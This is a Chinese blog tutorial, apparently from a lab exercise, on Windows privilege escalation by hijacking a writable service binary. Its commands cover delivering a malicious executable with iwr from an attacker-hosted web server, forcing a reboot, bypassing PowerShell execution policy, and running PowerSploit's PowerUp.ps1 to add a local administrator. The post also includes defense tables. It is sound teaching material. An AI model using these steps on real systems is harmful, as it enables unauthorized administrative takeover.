**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉晖度丨安全视界🚀
▶ 信息收集
▶ 漏洞检测
▶ 初始立足点▶ 权限提升 ➢ Windows权限提升 ➢ 滥用Windows服务提权(下) 🔥🔥🔥
▶ 横向移动▶ 报告/分析
▶ 教训/修复
目录
[1.1 Windows服务漏洞与权限提升](#1.1 Windows服务漏洞与权限提升)
[1.1.2 劫持服务二进制文件攻击实战](#1.1.2 劫持服务二进制文件攻击实战)
[1.1.2.4 制作恶意二进制文件并替换(原来的mysqld.exe)](#1.1.2.4 制作恶意二进制文件并替换(原来的mysqld.exe))
[1.2.1.5 通过服务重启执行恶意程序](#1.2.1.5 通过服务重启执行恶意程序)
[1.2.1.6 验证提权成功](#1.2.1.6 验证提权成功)
[1.1.3 使用自动化工具PowerUp.ps1提权](#1.1.3 使用自动化工具PowerUp.ps1提权)
[1.1.3.1 PowerUp.ps1工具简介](#1.1.3.1 PowerUp.ps1工具简介)
[1.1.3.2 环境准备与脚本下载](#1.1.3.2 环境准备与脚本下载)
[1.在kali中启动Python Web服务器](#1.在kali中启动Python Web服务器)
[1.1.3.3 检测用户可修改的服务文件](#1.1.3.3 检测用户可修改的服务文件)
[1.1.3.4 尝试自动化利用(失败)](#1.1.3.4 尝试自动化利用(失败))
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
1.Windows权限提升
在渗透测试中,我们通常以非特权用户 身份获得初始立足点。但为了深入探测(如搜索敏感信息、提取密码哈希等),往往需要提升至管理员权限( 比如:使用Mimikatz提取密码哈希**),** 这个过程就是特权提升。
📊 权限提升三大路径: 本文开始介绍:++利用windows服务漏洞进行权限提升++。
| 阶段 | 目标 | 关键方法 |
|---|---|---|
| 1. 枚举Windows | 获取系统情报 | 手动搜索 + 自动化工具 |
| 2. 滥用Windows服务 | 攻击服务漏洞 | 服务配置缺陷、权限滥用 |
| 3. 利用其他组件 | 扩大攻击面 | 计划任务、系统漏洞利用 |
1.1 Windows服务漏洞与权限提升
1.1.2 劫持服务二进制文件攻击实战
接前文。
1.1.2.4 制作恶意二进制文件并替换(原来的mysqld.exe)
1.创建恶意C程序
在Kali上创建一个小的二进制文件,用它来替换原来的mysqld.exe。
**以下C代码作用:**创建一个名为dave2的用户,并使用system函数将该用户添加到本地管理员组中。

将上面的代码保存在Kali上,文件名为adduser.c。
2.交叉编译为Windows可执行文件.exe
接下来,在Kali上使用mingw-64进行交叉编译。由于知道目标机器是64位的,使用编译器++x86_64-w64-mingw32-gcc++。
bash
$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
3.传输恶意二进制文件并替换原来的mysqld.exe
| 步骤 | 攻击方(Kali) | 受害方(Windows) | 目的 |
|---|---|---|---|
| 1. 准备阶段 | 准备恶意adduser.exe |
- | 确定传输目标 |
| 2. 投送阶段 | 启动Python3 HTTP服务器 | 使用iwr下载恶意文件 |
将恶意程序传输至目标 |
| 3. 替换阶段 | - | 备份原mysqld.exe至用户目录 |
保留恢复可能 |
| 4. 覆盖阶段 | - | 将恶意程序重命名为mysqld.exe |
完成二进制劫持 |
在Kali启动Web服务:python3 -m http.server 80 ,把恶意文件放在目录下,使用iwr下载。

1.2.1.5 通过服务重启执行恶意程序
为了通过服务执行二进制文件,需要重新启动服务。使用net stop命令停止服务,但用户dave没权限停止服务。(大多数服务只能由管理员权限重启)

1.检查服务启动类型
由于没有权限手动重新启动服务,必须考虑另一种方法:如果服务启动类型设置为**" 自动"** ,意味着可以**++++通过重新启动机器来重新启动服务++++**。
bash
> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

显示:该服务设置为++自动++,意味着在重新启动机器后会自动启动。
2.检查用户dave重启机器权限
为了执行重新启动机器,用户dave需要被分配SeShutDownPrivilege特权 。使用whoami /priv来获取dave的所有特权。

上图解析:
| 权限检查项 | 当前状态 | 实际意义 |
|---|---|---|
| 权限存在性 | ✅ SeShutdownPrivilege 存在 | 用户具备 关机/重启的能力 |
| 权限启用状态 | ⚠️ 显示为"disabled" | 仅表示 whoami进程未请求使用 此权限 |
| 实际可用性 | ✅ 可以执行关机操作 | 权限存在即可通过 shutdown 命令触发 |
💡 核心要点:
-
存在即有效 :权限在用户令牌中即表示功能可用
-
"禁用"≠"不能用" :仅反映当前进程的激活状态,不影响用户主动调用
-
攻击优势 :无需等待系统自然重启,可主动触发服务重新启动
-
若不存在SeShutdownPrivilege权限 ,将不得不等待目标主机被手动重启
3.触发重启
bash
# 立即重启系统
shutdown /r /t 0

一旦重新启动完成,再次以用户dave通过RDP连接,然后打开一个PowerShell窗口。
1.2.1.6 验证提权成功
由于mysql服务发出的重新启动和启动类型为auto,该服务应该已执行我们放置以替换原始mysql服务二进制文件的可执行文件。
因为刚刚恶意可执行文件是创建用户dave2、并归到管理员组。
bash
# 检查新创建的管理员用户
Get-LocalGroupMember administrators

结果 :用户dave2成功创建并加入管理员组!🎉
📋 验证结果
| 验证项目 | 预期结果 | 实际发现 | 结论 |
|---|---|---|---|
| 恶意程序执行 | 创建用户 dave2 |
用户 Dave2 存在于系统 |
✅ 成功执行 |
| 权限提升 | 将用户加入 Administrators 组 |
Dave2 是 Administrators 组成员 |
✅ 成功提权 |
| 攻击链完成 | 二进制劫持 → 服务重启 → 恶意代码执行 | 全部步骤按计划完成 | 🎉 攻击成功 |
1.1.3 使用自动化工具PowerUp.ps1提权
1.1.3.1 PowerUp.ps1工具简介
PowerUp.ps1 是 PowerSploit 渗透测试工具包中的一款 PowerShell 脚本,用于检测并利用 Windows 系统中存在的服务配置错误、文件权限不当、计划任务漏洞 等,帮助测试人员实现权限提升。
🔧核心功能详解表
| 功能类别 | 具体描述 | 关键点/利用方式 |
|---|---|---|
| 🔍 服务配置利用 | 检测运行在高权限账户下但文件权限设置不当的服务 | • 替换/修改服务二进制文件 • 利用服务重启机制 • 通过服务持久化权限 |
| 📁 权限漏洞扫描 | 查找系统中存在权限问题的文件夹和注册表项 | • 利用过宽的文件夹权限写入恶意文件 • 修改注册表键值实现持久化或提权 • 通过弱权限配置获取敏感信息 |
| ⏰ 计划任务利用 | 检测不安全的计划任务配置 | • 替换计划任务执行的脚本或二进制文件 • 利用任务触发时机执行恶意代码 • 通过任务权限配置缺陷获取更高权限 |
| 🔗 反向Shell利用 | 通过脚本命令建立反向连接控制目标机器 | • 使用内置函数生成和执行反向Shell • 绕过防火墙和网络限制 • 实现远程交互式控制 |
🛡️ 防御建议对应表
| 攻击方式 | 防御措施 |
|---|---|
| 服务配置利用 | • 限制服务运行账户权限 • 设置严格的二进制文件ACL • 启用文件完整性监控 |
| 权限漏洞利用 | • 定期审计文件夹和注册表权限 • 遵循最小权限原则 • 启用访问控制日志 |
| 计划任务利用 | • 审查计划任务权限配置 • 限制任务执行账户权限 • 监控任务文件变更 |
| 反向Shell利用 | • 配置网络出口过滤 • 部署主机入侵检测系统 • 限制PowerShell执行策略 |
1.1.3.2 环境准备与脚本下载
现在先恢复服务的原始状态,删除前文我们制作的恶意替换的二进制文件mysqld.exe,恢复备份的原始二进制文件,并重新启动系统,让一切恢复原样。
1.在kali中启动Python Web服务器
将PowerUp.ps1脚本复制到kali的主目录,并启动一个Python3 Web服务器来提供服务。
bash
python3 -m http.server 80

2.下载PowerUp.ps1脚本
在目标机(CLIENTWK220)的Powershell下,把PowerUp.ps1脚本下载到本地。
bash
> iwr -uri http://192.168.119.3/Powerup.ps1 -Outfile PowerUp.psl
3.修改PowerShell执行策略为bypass
在目标机(CLIENTWK220)启动PowerShell的 Bypass 执行策略。
ExecutionPolicy Bypass(-ep bypass 是缩写)是一个用于临时更改PowerShell执行策略的命令参数:它允许PowerShell执行任何脚本或命令,而不受当前执行策略限制。否则,将无法运行脚本,因为它们被阻止了。
bash
> powershell -ep bypass
🔸 什么是PowerShell执行策略?
PowerShell执行策略是Windows系统的一项安全机制,用于控制脚本的执行权限,以防止运行不受信任的潜在恶意代码。其常见策略包括:
- Restricted(默认,禁止所有脚本)
- AllSigned(仅允许受信任签名的脚本)
- RemoteSigned(对网络下载脚本要求签名)
- Unrestricted(允许所有脚本但发出警告)
- Bypass(完全绕过所有限制)
使用
powershell -ep bypass(或powershell -ExecutionPolicy Bypass)即可在单次会话中临时禁用所有策略检查,从而无限制地执行任何脚本!
4.导入(运行)PowerUp.ps1脚本
bash
> ..\PowerUp.ps1

1.1.3.3 检测用户可修改的服务文件
导入脚本后执行Get-ModifiableServiceFile函数。此函数显示当前用户可以修改的服务,例如:服务二进制文件或配置文件。
bash
> Get-ModifiableServiceFile

-
输出示例显示
mysql服务可能存在漏洞,且 BUILTIN\Users 组对其二进制文件有修改权限。 -
⚠️ 注意:输出中 CanRestart 为 False,意味着当前用户无法直接重启服务。
1.1.3.4 尝试自动化利用(失败)
PowerUp.ps1脚本 还提供一个AbuseFunction函数 (具体函数为
Install-ServiceBinary),它是一个内置函数,用于替换二进制文件,并且如果有足够的权限,可重新启动它。**默认行为是:**创建一个名为john的新本地用户,密码为Password123!,并将其添加到本地的Administrators组中。
运行内置的滥用函数:
bash
> Install-ServiceBinary -Name 'mysql'

-
若成功,该函数会替换服务二进制文件mysql,创建新管理员用户(默认:
john/Password123!)。 -
❌ 但在本例中,工具报错 ,提示当前用户无权修改服务二进制文件。
-
然而在前文,我们已经确定对服务二进制文件mysql具有完全访问权限,并且证明我们可以手动替换该文件。

尽管 PowerUp 提示"无法修改",但之前手动验证 已确认用户 dave 对 mysqld.exe 拥有完全控制权。这说明:
🧠 自动化工具可能漏报或误报,手动分析仍是关键!
🛡️ 防御建议:定期审计服务权限、限制用户对系统目录的写入权、启用安全监控机制。
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。
